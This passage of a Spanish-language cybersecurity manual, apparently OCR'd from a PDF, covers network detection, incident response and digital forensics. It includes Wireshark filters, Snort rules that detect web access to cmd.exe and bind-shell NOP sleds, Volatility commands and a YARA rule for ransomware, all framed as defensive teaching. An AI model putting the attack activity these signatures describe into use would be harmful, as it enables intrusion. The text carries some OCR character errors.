tcp.port == 8080)

Busca trafico HTTP en puertos
que no son los estandar, lo que
puede ser un indicador de
malware intentando exfiltrar
datos o comunicarse con un
C2.

Encontrar Archivos
Ejecutables Transferidos

http.content_type ==
"application/x-msdownload"

Filtra las respuestas HTTP que
contienen archivos ejecutables
de Windows (.exe, .dll), lo que

puede indicar la descarga de




Escenario de Deteccién Filtro de Wireshark Explicacion y Propdsito

malware.

Fuentes de la tabla:

# Ejemplo de filtro de visualizacidén en Wireshark para buscar posibles
balizas (beacons) de C2

# Muestra paquetes TCP con el flag PSH (push) salientes de nuestra red
(192.168.1.0/24)

# que tengan un tamafo de payload pequefio (entre 1 y 64 bytes), una
caracteristica comin del tradfico de heartbeat de malware.

ip.src == 192.168.1.0/24 and tcp.flags.push == 1 and tcp.len > 0 and
tcp.len < 65

Sistemas de Deteccion de Intrusos (NIDS) con Snort

Snort es un sistema de deteccion de intrusiones en red (NIDS) de codigo abierto, ligero y
potente. Funciona capturando y analizando el trafico de red en tiempo real y comparandolo con
un conjunto de reglas para identificar patrones de ataques conocidos, escaneos de puertos y
otras actividades maliciosas.
s Estructura de una Regla de Snort: Cada regla de Snort se compone de dos partes
principales :
1. El Encabezado (Rule Header): Define las condiciones generales de la regla.
1 Accidén: Qué hacer si la regla coincide (ej: alert, log, pass, drop).
1 Protocolo: El protocolo a inspeccionar (tcp, udp, icmp, ip).
1 IP Origen y Puerto Origen: La direccion y puerto de origen del trafico.
1 Direccion: El operador de direccién (-> para origen a destino, <> para
bidireccional).
1 IP Destino y Puerto Destino: La direccion y puerto de destino.
2. Las Opciones (Rule Options): Definen los detalles especificos a buscar dentro
del paquete.
1 msg: El mensaje de alerta que se registrara.
content: La cadena de bytes o texto a buscar en el payload del paquete.
sid: Un ID de Snort Unico para la regla.
rev: El numero de revisién de la regla.
classtype: Clasifica el tipo de ataque (ej: web-application-attack).
Y muchas otras opciones para inspeccionar cabeceras, flujo, etc.
s Ejemplos de Reglas de Snort:
o Deteccion de Escaneo Nmap Xmas: Este tipo de escaneo establece los flags
FIN, PSH y URG, una combinacién que no deberia ocurrir en trafico legitimo.
alert tcp any any —-> SHOME NET any (msg:"SCAN Nmap Xmas
Scan"; flags:FPU; classtype:attempted-recon; sid:1000004;
rev:1;)

o Deteccion de Intento de Acceso a cmd.exe en un Servidor Web: Un atacante
que ha comprometido un servidor web podria intentar acceder a la shell del
sistema a través de una peticion web.
alert tcp $EXTERNAL NET any -> SHTTP SERVERS 80



(msg:"WEB-ATTACK cmd.exe access"; flow:to server,established;
content:"/cmd.exe"; nocase; http uri;
classtype:web-application-attack; sid:1000005; rev:1;)

Esta regla busca la cadena /cmd.exe en la URI de una peticion HTTP dirigida a los
servidores web.

o Deteccion de Shellcode de bind() en Windows: Esta regla busca el patrén de
bytes comun asociado con el shellcode que abre una shell de escucha (bind shell)
en un sistema Windows.
alert tcp SEXTERNAL NET any -> S$HOME NET any (msg:"SHELLCODE
x86 NOOP"; content:"|90 90 90 90 90 90 90 90 90 90|";
classtype:shellcode-detect; sid:1000006; rev:1;)

El content busca una cadena de NOPs (0x90), que a menudo preceden al
shellcode para asegurar la ejecucion estable.

Seccion 9: Gestidn de Eventos y Respuesta a Incidentes

La deteccion de una amenaza es solo el primer paso. Un Blue Team eficaz debe ser capaz de
gestionar el torrente de alertas generadas por sus herramientas, correlacionar eventos dispares
para entender el panorama completo de un ataque y responder de manera coordinada y
eficiente. Aqui es donde entran en juego las plataformas SIEM y SOAR, junto con las
habilidades de analisis de logs y las metodologias de caza de amenazas.

Fundamentos de SIEM y SOAR: Centralizaciéon y Orquestacion

SIEM (Security Information and Event Management): Un SIEM es el cerebro del
Centro de Operaciones de Seguridad (SOC). Es una plataforma que centraliza la
recopilacion y el almacenamiento de datos de logs y eventos de seguridad de una
multitud de fuentes: firewalls, servidores, endpoints (a través de EDR), aplicaciones,
sistemas de deteccion de intrusos (IDS), etc.. Su funcién principal es correlacionar estos
eventos en tiempo real para identificar actividades maliciosas o andmalas que no serian
evidentes al mirar una unica fuente de datos. Por ejemplo, un SIEM puede correlacionar
una alerta de inicio de sesion fallido en un servidor con una alerta de trafico sospechoso
desde la misma IP de origen en el firewall, y elevar una alerta de mayor prioridad para el
analista. Plataformas populares incluyen Splunk, Elastic SIEM (ELK Stack) e IBM
QRadar.
SOAR (Security Orchestration, Automation, and Response): Un SOAR es una
evolucion que se integra sobre el SIEM y otras herramientas de seguridad para
automatizar y orquestar las acciones de respuesta a incidentes. Mientras que un SIEM
genera una alerta, un SOAR actla sobre ella. Utiliza "playbooks" o flujos de trabajo
predefinidos para automatizar tareas repetitivas, liberando a los analistas para que se
centren en investigaciones mas complejas. Por ejemplo, ante una alerta de phishing de
un SIEM, un playbook de SOAR podria :

1. Ingerir automaticamente el correo electrénico sospechoso.

. Extraer indicadores (URLs, hashes de archivos adjuntos).
3. Consultar fuentes de inteligencia de amenazas para verificar la reputacion de los
indicadores.
4. Sise confirma como malicioso, buscar y eliminar automaticamente el correo de
todos los buzones de la organizacion.



Bloquear la URL en el firewall o proxy web.

Crear un ticket en el sistema de gestion de incidentes para la revision final de un
analista. SOAR reduce drasticamente el Tiempo Medio de Deteccion (MTTD) y el
Tiempo Medio de Respuesta (MTTR).

oo

Analisis de Logs en Linux: Uso Avanzado de grep y awk

Incluso con un SIEM, la habilidad de analizar logs directamente en la linea de comandos de un
sistema Linux es indispensable para cualquier analista de seguridad o administrador de
sistemas. grep y awk son dos de las herramientas mas potentes para esta tarea.

s grep (Global Regular Expression Print): Se utiliza para buscar lineas que coincidan
con un patrén en archivos de texto. Es ideal para encontrar rapidamente eventos
especificos.

o Uso Basico: grep "Failed password" /var/log/auth.log busca todas las lineas que
contienen esa frase.
o Opciones Utiles:

-i: lgnorar mayusculas y minusculas.

-v: Invertir la busqueda (mostrar lineas que NO coinciden).

-c: Contar el numero de lineas que coinciden.

-An, -B n, -C n: Mostrar n lineas después (After), antes (Before) o en

contexto (Context) de la linea coincidente.

1 -E: Usar expresiones regulares extendidas.

¢ awk: Es un lenguaje de programacion de escaneo y procesamiento de patrones. Es
extremadamente potente para manipular datos estructurados en columnas, como la
mayoria de los logs. awk procesa un archivo linea por linea y divide cada linea en
campos (por defecto, separados por espacios), a los que se puede acceder como $1, $2,
etc. $0 representa la linea completa.

o Imprimir Campos Especificos: awk {print $1, $4}' access.log imprime el primer y
cuarto campo de cada linea.

o Filtrar por Contenido de Campo: awk '$9 == "404" access.log imprime solo las
lineas donde el noveno campo (codigo de estado HTTP en logs de Apache) es
"404".

o El Poder de la Combinacion (Pipes): La verdadera magia ocurre cuando se encadenan
estos comandos utilizando el pipe (|), que envia la salida de un comando como entrada al
siguiente.

# Ejemplo: Encontrar las 5 direcciones IP que han tenido mas
intentos de inicio de sesidén fallidos en un servidor SSH

# 1. grep: Filtra el log de autenticacidén para encontrar solo las
lineas con "Failed password".

# 2. awk: Extrae la direccidén IP, que suele estar en el campo 11
en estos logs.

# 3. sort: Ordena las direcciones IP para que las duplicadas
queden juntas.

# 4. unig -c: Cuenta las ocurrencias de cada IP Unica.

# 5. sort -nr: Ordena el resultado numéricamente (-n) y en orden
inverso (-r) para mostrar las méas frecuentes primero.

# 6. head -n 5: Muestra solo las 5 primeras lineas.

grep "Failed password" /var/log/auth.log | awk '{print $11}"'



sort | unig -c | sort -nr | head -n 5
Este Unico comando proporciona una vision rapida y poderosa de un posible ataque de
fuerza bruta.

Threat Hunting Proactivo: Metodologia Basada en Hipétesis

El Threat Hunting (caza de amenazas) es un enfoque proactivo de la defensa. En lugar de
esperar pasivamente a que un sistema automatizado (como un SIEM o un IDS) genere una
alerta, los cazadores de amenazas buscan activamente en su entorno sefiales de adversarios
que ya han eludido las defensas perimetrales.
La metodologia mas eficaz para el threat hunting es la basada en hipoétesis. Una hipotesis de
caza de amenazas es una conjetura o suposicion informada sobre una posible actividad
maliciosa, que se utiliza como punto de partida para una investigacion.

¢ Generacion de Hipoétesis: Las hipotesis no son aleatorias. Se basan en:

o Inteligencia de Amenazas: Informes sobre TTPs (Tacticas, Técnicas y
Procedimientos) utilizados por actores de amenazas especificos 0 en campanas
recientes. Por ejemplo: "El grupo APT29 utiliza PowerShell para el movimiento
lateral".

o Conocimiento del Entorno: Comprension de los activos criticos ("joyas de la
corona") de la organizacion y los posibles vectores de ataque hacia ellos. Por
ejemplo: "Nuestros servidores de base de datos de clientes son un objetivo de alto
valor; un atacante podria intentar exfiltrar datos desde ellos".

o Analisis de Anomalias: Observacion de desviaciones del comportamiento normal
de la red o del sistema. Por ejemplo: "Hemos observado un aumento inusual en el
trafico DNS saliente desde estaciones de trabajo que no son servidores DNS".

s Ejemplo de Hipoétesis y Caza:

o Hipétesis: "Un adversario ha comprometido una cuenta de usuario a través de
phishing y esta utilizando rundll32.exe para ejecutar un payload en memoria y
establecer persistencia, una técnica comun de LOLBAS".

o Proceso de Caza: El analista no busca "malware". En su lugar, utiliza su SIEM o
EDR para buscar patrones especificos que validen o refuten la hipotesis:

1. Buscar ejecuciones de rundll32.exe con padres de proceso inusuales (por
ejemplo, WINWORD.EXE o OUTLOOK.EXE).

2. Buscar ejecuciones de rundll32.exe que realicen conexiones de red
salientes, especialmente a IPs o dominios desconocidos.

3. Correlar estos eventos con logs de autenticacién para ver si la cuenta de
usuario involucrada ha mostrado otros comportamientos anémalos (inicios de
sesion desde ubicaciones inusuales, etc.).

Este enfoque dirigido es mucho mas eficiente que buscar a ciegas y permite descubrir
amenazas sigilosas que las reglas de deteccion automatizadas podrian pasar por alto.

Establecimiento de una Linea Base (Baseline) de Red para la Deteccion de
Anomalias

Establecer una linea base (baseline) es el proceso de medir y documentar el comportamiento
"normal” de una red, sistema o aplicacion durante un periodo de tiempo representativo. Esta
linea base actia como un punto de referencia contra el cual se compara la actividad actual.
Cualquier desviacion significativa de esta norma se considera una anomalia y se marca para



su investigacion.

o Por qué es crucial: La deteccion basada en firmas (como en los AV tradicionales o
Snort) solo puede detectar amenazas conocidas. La deteccion de anomalias basada en
una linea base puede identificar ataques de dia cero, amenazas internas y actividades
maliciosas novedosas, ya que se centra en el comportamiento en lugar de en las firmas.

¢ Proceso de Creacion de una Linea Base:

1. Recopilaciéon de Datos: Recopilar datos de multiples fuentes durante un periodo
suficiente para capturar los ciclos de negocio normales (por ejemplo, varias
semanas o un mes). Las fuentes incluyen logs de flujo de red (NetFlow, sFlow),
logs de firewall, logs de autenticacidon, métricas de rendimiento del sistema, etc..

2. Analisis y Definicion: Analizar los datos recopilados para definir qué constituye la
actividad normal. Esto puede incluir:

1 Trafico de Red: Puertos y protocolos comunmente utilizados, volumen de
trafico tipico por hora/dia, pares de IP que se comunican regularmente.

1 Comportamiento del Usuario: Horas de inicio de sesion normales,
sistemas a los que se accede habitualmente, volumen de datos transferidos.

1 Actividad del Sistema: Procesos que se ejecutan normalmente, uso de
CPU y memoria, etc.

3. Monitoreo Continuo y Alerta: Implementar herramientas que monitoreen
continuamente la actividad en tiempo real y la comparen con la linea base
establecida. Cuando se detecta una desviacion que supera un umbral predefinido,
se genera una alerta.

4. Adaptacion y Ajuste: Las lineas base no son estaticas. Deben actualizarse y
ajustarse periédicamente para adaptarse a los cambios en el entorno de Tl (nuevas
aplicaciones, crecimiento del negocio, etc.) y reducir los falsos positivos.

Las soluciones modernas de deteccién de anomalias a menudo utilizan algoritmos de machine
learning (ML) para automatizar la creacioén y el ajuste de estas lineas base, aprendiendo
continuamente del comportamiento de la red para mejorar la precision de la deteccion.

Parte IV: La Ciencia de la Investigacion - Manual de
Forensia Digital

Cuando las defensas fallan y se produce un incidente de seguridad, comienza el trabajo del
analista forense digital. Esta disciplina es la ciencia de identificar, preservar, analizar y
presentar evidencia digital de una manera que sea legalmente admisible. A diferencia de las
operaciones proactivas de los equipos Rojo y Azul, |la forensia es inherentemente reactiva,
buscando reconstruir los eventos de un incidente para entender el "quién, qué, cuando, dénde y
como" de un ataque. Esta seccién cubre los principios fundamentales, los procesos y las
herramientas de Kali Linux utilizadas en la investigacion forense, desde el analisis de discos y
memoria hasta la caza de malware y las complejidades de la forensia en la nube.

Seccion 10: Principios y Procesos de la Forensia Digital

Una investigacion forense exitosa se basa en una metodologia rigurosa y un estricto
cumplimiento de los procedimientos para garantizar la integridad y la admisibilidad de la
evidencia.



El Proceso Forense: Identificacion, Preservacién, Analisis y Reporte

El proceso forense digital se puede dividir en cuatro fases principales, cada una de las cuales
se basa en la anterior :

1. Identificacién: Esta es la primera fase, donde el investigador identifica las posibles
fuentes de evidencia digital. Esto puede incluir computadoras, servidores, dispositivos
moviles, dispositivos de almacenamiento externo, logs de red, etc. El objetivo es
reconocer qué datos pueden ser relevantes para la investigacion y dénde se encuentran.

2. Preservacion (Adquisicién): Esta es quizas la fase mas critica. La evidencia digital es
volatil y puede ser facilmente alterada o destruida. La preservacion implica la recopilacion
de la evidencia de una manera que garantice su integridad. La mejor practica es crear
una imagen forense (una copia bit a bit) del medio de almacenamiento original. El
investigador nunca debe trabajar directamente sobre la evidencia original. Para verificar
que la copia es exacta, se calculan y comparan los hashes criptograficos (como MD5 o
SHA-256) del original y de la imagen. Si los hashes coinciden, se demuestra que la copia
es idéntica.

3. Analisis: Una vez que se tiene una copia de trabajo verificada, comienza el analisis. El
investigador utiliza herramientas y técnicas especializadas para examinar los datos,
recuperar archivos borrados, reconstruir lineas de tiempo de eventos, buscar palabras
clave y conectar los puntos para entender la naturaleza y el alcance del incidente.

4. Reporte y Presentacion: La fase final consiste en documentar todos los hallazgos de
manera clara, concisa y objetiva. El informe debe detallar la evidencia examinada, las
herramientas y métodos utilizados, los hallazgos y las conclusiones del investigador. Este
informe debe ser lo suficientemente completo como para soportar acciones internas,
regulatorias o legales, y debe ser presentado de una manera que sea comprensible tanto
para audiencias técnicas como no técnicas.

La Cadena de Custodia: Importancia, Mantenimiento y Documentacion

La Cadena de Custodia (Chain of Custody) es el pilar que sostiene la integridad de la
evidencia forense. Es un registro cronolégico meticuloso que documenta cada persona que ha
manejado la evidencia, desde el momento de su recoleccion hasta su presentacion en un
tribunal. Una cadena de custodia ininterrumpida y bien documentada es esencial para
demostrar que la evidencia no ha sido alterada, manipulada o contaminada, y es un requisito
fundamental para su admisibilidad en un proceso legal.

Un fallo en la cadena de custodia puede llevar a que una prueba crucial sea desestimada,
comprometiendo todo el caso. Por lo tanto, cada transferencia de evidencia debe ser
documentada en un formulario de cadena de custodia.

A continuacion se presenta una plantilla de ejemplo para un formulario de cadena de custodia,
que consolida los campos esenciales mencionados en las mejores practicas de la industria.

Seccion Campo Descripcion
A. Informacion del Caso Numero de Caso Identificador Unico para la
investigacion.
Nombre del Investigador La persona a cargo del caso.
Principal
Fecha de Apertura del Caso La fecha en que se inicid
oficialmente la investigacion.




[Seccion

Campo

Descripcion

B. Detalles de la Evidencia

Numero de Evidencia

Identificador unico asignado a
este item especifico (egj:
CASE-001-EVID-001).

Descripcion del item

Descripcion detallada (ej:
"Laptop Dell Latitude 7490,
color negro").

Fabricante, Modelo, N° de
Serie

Informacioén de identificacion
del dispositivo.

Condicioén en la Recoleccion

Estado del item al ser
recolectado (ej: "Encendido y
conectado a la red",
"Apagado”, "Pantalla rota").

Ubicacién de la Recoleccion

Lugar fisico exacto donde se
encontro la evidencia.

Recolectado por (Nombre y
Firma)

Quién recolecto la evidencia.

FechayHoradela
Recoleccién

Marca de tiempo precisa de la
recoleccion.

C. Adquisicion Forense

Imagen Forense Creada

Si / No.

Software/Hardware de
Adquisicion

Herramienta utilizada para la
imagen (ej: "Guymager 0.8.1",
"FTK Imager 4.5.0").

Nombre del Archivo de Imagen

El nombre del archivo de la
imagen creada (ej:
CASE-001-EVID-001.E01).

Hash MD5 de la Imagen

Hash MD5 calculado de la

imagen forense para
verificacion de integridad.

Hash SHA-256 de la Imagen

Hash SHA-256 calculado de la
imagen forense.

Adquisicion Realizada por
(Nombre y Firma)

Quién realizo la adquisicion.

Fecha y Hora de la Adquisicién

Marca de tiempo precisa de la
adquisicion.

D. Registro de Transferencia
de Custodia

Fecha y Hora

Cuando ocurrio la
transferencia.

Entregado por (Nombre,
Agencia, Firma)

La persona que cede la
custodia de la evidencia.

Recibido por (Nombre,
Agencia, Firma)

La persona que asume la
custodia de la evidencia.

Motivo de la Transferencia

Razén de la transferencia (ej:
"Para analisis en laboratorio",

"Almacenamiento seguro").

Fuentes de la tabla:

Este formulario debe acompanar a la evidencia fisica en todo momento. Cada vez que la




evidencia cambia de manos, se debe afiadir una nueva entrada en la seccion de Registro de
Transferencia, creando asi un rastro de papel (o digital) ininterrumpido y auditable.

Seccion 11: Forensia de Disco y Sistema de Archivos

El analisis de discos duros, SSDs y otras formas de almacenamiento no volatil es la forma mas
tradicional de la forensia digital. El objetivo es examinar la estructura del sistema de archivos
para recuperar datos activos, archivos eliminados, metadatos y otros artefactos que puedan
servir como evidencia.

Analisis de Imagenes de Disco con Autopsy

Autopsy es una plataforma de forensia digital grafica, de cédigo abierto y facil de usar, que
actua como una interfaz para The Sleuth Kit y otras herramientas forenses. Es una herramienta
ideal tanto para principiantes como para expertos para realizar un analisis completo de una
imagen de disco.
¢ Flujo de Trabajo en Autopsy: El proceso de analisis en Autopsy es estructurado y
eficiente :

1. Crear un Nuevo Caso: Todo analisis comienza con la creacién de un caso, que
sirve como contenedor para la evidencia y los resultados. Se le asigna un nombre,
un numero y un directorio base.

2. Anadir una Fuente de Datos: Se afade la imagen de disco (.dd, .E01, .vmdk,
etc.) al caso. Autopsy verificara la integridad de la imagen si se proporcionan los
hashes.

3. Configurar y Ejecutar Médulos de Ingesta (Ingest Modules): Este es el corazon
del analisis automatizado de Autopsy. Los mdédulos de ingesta son plugins que se
ejecutan en segundo plano para analizar los datos. Los modulos estandar incluyen

1 Calculo de Hash y Busqueda: Calcula los hashes de todos los archivos y
los compara con listas de hashes conocidas (NSRL para archivos buenos,
listas de malware para archivos malos).

1 Extraccion de Artefactos Web: Recupera historial, cookies y marcadores
de navegadores web.

1 Busqueda de Palabras Clave (Keyword Search): Busca en todo el disco
listas de palabras clave predefinidas.

1 Andlisis de Correo Electrénico: Parsea archivos de correo como MBOX o
PST.

1 File Carving: Intenta recuperar archivos eliminados de los espacios no
asignados del disco basandose en sus cabeceras y pies de pagina (firmas de
archivo).

4. Analisis Manual: Mientras los modulos se ejecutan, el analista puede navegar por
la estructura de archivos, ver el contenido de los ficheros en diferentes formatos
(texto, hexadecimal, imagen), examinar los artefactos encontrados por los médulos
de ingesta y etiquetar (tag) los elementos de interés.

5. Generacion de Informes: Al final de la investigacion, Autopsy puede generar un
informe completo en formato HTML o PDF que resume todos los hallazgos,
incluyendo los archivos etiquetados, artefactos y la linea de tiempo de eventos.



Uso de The Sleuth Kit (TSK): fls e icat

The Sleuth Kit (TSK) es la coleccion de herramientas de linea de comandos en la que se basa
Autopsy. Para analisis rapidos, automatizados o de bajo nivel, TSK es extremadamente
potente. Dos de sus herramientas mas fundamentales son fls e icat.

o fls - Listar Archivos y Directorios: El comando fls se utiliza para listar los nombres de
archivos y directorios de un sistema de archivos dentro de una imagen de disco. También
puede mostrar informacion sobre archivos eliminados que aun tienen metadatos en el
sistema de archivos.

o Sintaxis y Opciones Clave:

1 -r: Recursivo, lista el contenido de los directorios de forma recursiva.

1 -p: Muestra la ruta completa de cada archivo.

1 -d: Muestra solo las entradas eliminadas.

1 -0 imgoffset: Especifica el desplazamiento (en sectores) donde comienza el
sistema de archivos dentro de la imagen. Esto es crucial si se esta
analizando una imagen de un disco completo en lugar de una particion.

# Listar recursivamente todos los archivos y directorios en una
imagen de disco, mostrando la ruta completa.

# Se asume que el sistema de archivos comienza en el sector 2048.
fls -r -p -o 2048 disk image.dd

La salida de fls incluye el tipo de archivo, el numero de inodo y el nombre del archivo.

s icat - Extraer Contenido de Archivo por Inodo: Una vez que fls ha identificado un
archivo de interés y su numero de inodo, icat puede extraer el contenido de ese archivo.
icat lee directamente los bloques de datos del disco asociados con ese inodo, lo que le
permite recuperar archivos incluso si han sido eliminados (siempre que sus bloques de
datos no hayan sido sobrescritos).

o Sintaxis: icat [opciones] imagen [inodo]
# Extraer el contenido del archivo con el inodo 34567 desde la
particidén que comienza en el sector 2048
# vy guardarlo en un archivo local llamado 'documento recuperado.pdf'.
icat -o 2048 disk image.dd 34567 > documento recuperado.pdf
Es importante redirigir la salida a un archivo, ya que icat imprime el contenido en bruto a la
salida estandar, lo que podria corromper la terminal si se trata de un archivo binario.
El dominio de estas herramientas, tanto graficas como de linea de comandos, proporciona al
analista forense la flexibilidad necesaria para llevar a cabo investigaciones exhaustivas y
eficientes en una amplia variedad de escenarios.

Seccion 12: Forensia de Memoria Volatil

La forensia de memoria, o analisis de RAM, es una subdisciplina critica de la forensia digital
que se centra en la investigacion de datos volatiles. A diferencia de la forensia de disco, que
analiza datos persistentes, la forensia de memoria examina el contenido de la memoria de
acceso aleatorio (RAM) de un sistema en un momento dado. Esta area ha ganado una
importancia inmensa debido al auge del malware "sin archivos" (fileless), que se ejecuta
exclusivamente en la memoria para evadir la deteccion por parte de las herramientas de
seguridad basadas en disco. Un volcado de memoria (memory dump) puede contener una gran
cantidad de evidencia efimera, como procesos en ejecucion, conexiones de red, claves de



cifrado, contrasefas en texto plano y comandos ejecutados recientemente.

Analisis de Volcados de Memoria con Volatility Framework

El Volatility Framework es la herramienta de cédigo abierto estandar de la industria para el
analisis de volcados de memoria de sistemas Windows, Linux y macOS. Es un framework
escrito en Python que proporciona una multitud de plugins para extraer artefactos forenses de
una imagen de memoria en bruto. Volatility 3 es la reescritura moderna del framework, aunque
muchos analistas todavia utilizan Volatility 2 por su vasto ecosistema de plugins maduros.

¢ Flujo de Trabajo Basico con Volatility:

1.

3.

Adquisicion de Memoria: El primer paso es adquirir un volcado de memoria del
sistema en vivo. Esto se puede hacer con herramientas como FTK Imager,
Belkasoft RAM Capturer o LIME (Linux Memory Extractor).

Identificacion del Perfil: Antes de poder analizar el volcado, Volatility necesita
saber qué sistema operativo y arquitectura representa la imagen de memoria. Esto
se conoce como el "perfil". El plugin imageinfo (en Volatility 2) o windows.info (en
Volatility 3) analiza la imagen y sugiere los perfiles mas probables.

Ejecucién de Plugins: Una vez identificado el perfil, el analista puede ejecutar
varios plugins para extraer informacion.

¢+ Comandos Basicos de Volatility 3 (Sintaxis para Windows):

0

Identificar el Sistema Operativo:

# Analiza el volcado de memoria y proporciona informacién del
SO y la arquitectura.

python3 vol.py -f memdump.vmem windows.info

Listar Procesos: pslist muestra los procesos en ejecucion de una manera similar
al Administrador de Tareas. pstree los muestra en una vista de arbol, lo cual es
extremadamente util para identificar procesos anémalos (por ejemplo, svchost.exe
no deberia ser hijo de explorer.exe).

# Listar procesos activos

python3 vol.py —-f memdump.vmem windows.pslist

# Mostrar procesos en formato de arbol para ver relaciones
padre-hijo
python3 vol.py -f memdump.vmem windows.pstree

Ver Conexiones de Red: netscan muestra las conexiones de red (TCP/UDP) que
estaban activas en el momento de la captura, incluyendo direcciones IP locales y
remotas, puertos y el PID del proceso propietario.

# Listar conexiones de red activas y escuchando

python3 vol.py -f memdump.vmem windows.netscan

Recuperar Historial de Comandos: cmdscan y consoles buscan en la memoria
buffers de la consola (como cmd.exe o PowerShell) para recuperar comandos que
fueron tecleados por un usuario o un atacante.

# Escanear en busca de comandos ejecutados en la consola
python3 vol.py -f memdump.vmem windows.cmdscan



Extraer Archivos de Memoria: filescan busca objetos de archivo en la memoria, y
dumpfiles permite extraerlos a disco para un analisis posterior.

# Escanear en busca de archivos en memoria

python3 vol.py —-f memdump.vmem windows.filescan

# Volcar el archivo encontrado en la direccidén de memoria
virtual 0Ox...

python3 vol.py -f memdump.vmem -o./output dir
windows.dumpfiles --virtaddr O0Ox...

Deteccidén de Malware en Memoria con malfind y yarascan

Dos de los plugins mas potentes de Volatility para la caza de malware son malfind y yarascan.

+ malfind (Find Malicious Code): Este plugin esta disefiado especificamente para
encontrar cddigo oculto o inyectado en la memoria de un proceso. Funciona buscando en
el espacio de memoria de un proceso regiones que tengan caracteristicas sospechosas,
principalmente permisos de memoria PAGE_EXECUTE_READWRITE (una region que es
ejecutable, legible y escribible al mismo tiempo), que no se correspondan con ningun
archivo DLL cargado en el disco. El malware a menudo inyecta su codigo en procesos
legitimos (como explorer.exe o svchost.exe) con estos permisos para poder ejecutarse.
malfind no solo identifica estas regiones, sino que también puede volcarlas (-D
<directorio>) para un analisis mas profundo.

# Ejemplo con Volatility 2: Buscar cédigo inyectado en el proceso
con PID 1724 y volcar los segmentos encontrados al
directorio./injected code

python vol.py -f zeus.vmem --profile=Win7SP1x64 malfind -p 1724
-D./injected code

¢ yarascan (Scan with YARA rules): Este plugin integra el poder de YARA directamente
en el analisis de memoria. Permite a los analistas escanear todo el volcado de memoria
(o la memoria de procesos especificos) en busca de patrones que coincidan con reglas
YARA. Esto es extremadamente util para:

0
0

Buscar firmas de familias de malware conocidas.

Identificar cadenas de texto Unicas, como URLs de C2, nombres de mutex o claves
de registro utilizadas por un malware especifico.

Encontrar fragmentos de cddigo o secuencias de bytes caracteristicos de una
técnica de ataque.

# Ejemplo con Volatility 2: Escanear la memoria del proceso con PID
624 usando una regla YARA que busca una cadena de texto especifica.
python vol.py -f zeus.vmem --profile=WinXPSP2x86 yarascan —--pid=624
--yara-rules="rule find string { strings: $a = \"mi cadena maliciosa\"
condition: $a }"

La combinacion de malfind para identificar regiones de memoria sospechosas y yarascan para
buscar indicadores especificos dentro de esas regiones proporciona un flujo de trabajo muy
eficaz para descubrir y analizar malware que opera exclusivamente en la memoria, eludiendo



las defensas tradicionales.

Seccion 13: Analisis de Malware y Anti-Forensia

El analisis de malware es el proceso de diseccionar software malicioso para entender su
funcionamiento, origen y propdsito. Es una tarea fundamental tanto para los Blue Teams (para
desarrollar detecciones y responder a incidentes) como para los analistas forenses. Por otro
lado, los atacantes emplean cada vez mas técnicas de anti-forensia para frustrar estas
investigaciones, ocultando su presencia y destruyendo evidencia. Un profesional completo
debe entender ambos lados de esta moneda.

Herramientas de Kali para el Analisis Basico de Malware

Kali Linux incluye varias herramientas que son excelentes para un analisis estatico inicial de un
archivo sospechoso. El andlisis estatico implica examinar el archivo sin ejecutarlo.

o file: Este comando simple pero esencial examina la cabecera de un archivo (sus "magic
bytes") para determinar su tipo, independientemente de su extension. Es el primer paso
para saber si un archivo que se llama imagen.jpg es realmente una imagen o un
ejecutable renombrado.

# Determinar el tipo de archivo de 'sample.exe'
file sample.exe
Salida esperada: sample.exe: PE32 executable (GUI) Intel 80386, for MS Windows.

o strings: Esta utilidad extrae secuencias de caracteres imprimibles (cadenas de texto) de
un archivo binario. Es increiblemente util para encontrar pistas sobre la funcionalidad del
malware, como URLs de C2, nombres de archivos que crea, claves de registro que
modifica, mensajes de error o incluso nombres de funciones de la API de Windows que
utiliza.

# Extraer todas las cadenas de texto de 4 caracteres o méas de
'sample.exe' y guardar en un archivo
strings -n 4 sample.exe > strings output.txt

¢ VirusTotal: Aunque es un servicio web y no una herramienta de Kali per se, su uso es
una parte estandar del triaje inicial. Subir el hash del archivo (no el archivo en si mismo,
para no alertar a los atacantes si es una muestra nueva) a VirusTotal permite compararlo
con docenas de motores antivirus y obtener informacién sobre si es un malware
conocido, sus nombres y otros metadatos.

Creacion de Reglas YARA para la Clasificacion de Malware

YARA es una herramienta apodada "la navaja suiza para los cazadores de malware". Permite
crear descripciones de familias de malware (llamadas reglas) basadas en patrones textuales o
binarios. Estas reglas pueden ser utilizadas para escanear archivos o volcados de memoria en
busca de malware.
o Estructura de una Regla YARA: Una regla YARA tiene tres secciones principales :
1. meta: Contiene metadatos sobre la regla, como el autor, la fecha, la descripcion y
los hashes de las muestras utilizadas para crearla. Esto es crucial para la gestion y
el intercambio de reglas.
2. strings: Aqui se definen los patrones que se van a buscar. A cada patrén se le



asigna un nombre de variable (ej: $text1, $hex1). Los patrones pueden ser:
1 Cadenas de texto ASCIl/Unicode: $a = "malware.pdb" wide ascii
1 Secuencias hexadecimales: $h1 = { E8???????? 8B FO } (el ?? es un
comodin).
1 Expresiones regulares.

3. condition: Esta es la logica de la regla. Especifica qué condiciones deben cumplirse
para que un archivo se considere una coincidencia. Se utilizan operadores
booleanos (and, or, not) y se puede hacer referencia a las variables de strings (ej:
#a > 5 significa que la cadena $a debe aparecer mas de 5 veces) o usar médulos
como pe para inspeccionar archivos ejecutables de Windows.

¢ Ejemplo Practico de Regla YARA: Supongamos que estamos analizando un
ransomware que crea un archivo de nota de rescate llamado
RECOVER_YOUR_FILES.txt y utiliza la funcion de la API CryptEncrypt.

import "pe"

rule Detect SimpleRansomware

{

meta:
author = "Analista de Ciberseguridad"
date = "2024-10-26"
description = "Detecta un ransomware simple basado en

strings y una importacién de la API de criptografia."
hash = "abcdefl123456..."

strings:
Stextl "RECOVER YOUR FILES.txt" wide
Stext2 = "Todos sus archivos han sido cifrados" ascii
Shexl = { 8D 45 FO 50 FF 75 0C FF 75 08 }

condition:

// La condicidén para que la regla se active:

// El archivo debe ser un ejecutable de Windows (MZ en la
cabecera)

// Y debe importar la funcidn CryptEncrypt de advapi32.dll

// Y debe contener al menos dos de las tres strings
definidas.

uintl6 (0) == 0x5A4D and

pe.imports ("advapi32.dll", "CryptEncrypt") and

2 of ($text™)

Técnicas de Anti-Forensia Comunes y Estrategias para su Deteccion

La anti-forensia engloba cualquier técnica utilizada por un atacante para frustrar la investigacion
forense. El objetivo es destruir, ocultar, alterar o fabricar evidencia.
¢+ Técnicas Comunes:
o Cifrado y Empaquetadores (Packers): Los atacantes cifran sus payloads o



utilizan empaquetadores como UPX para comprimir y ofuscar el codigo ejecutable.
Esto dificulta el analisis estatico, ya que las cadenas y el cédigo no son visibles
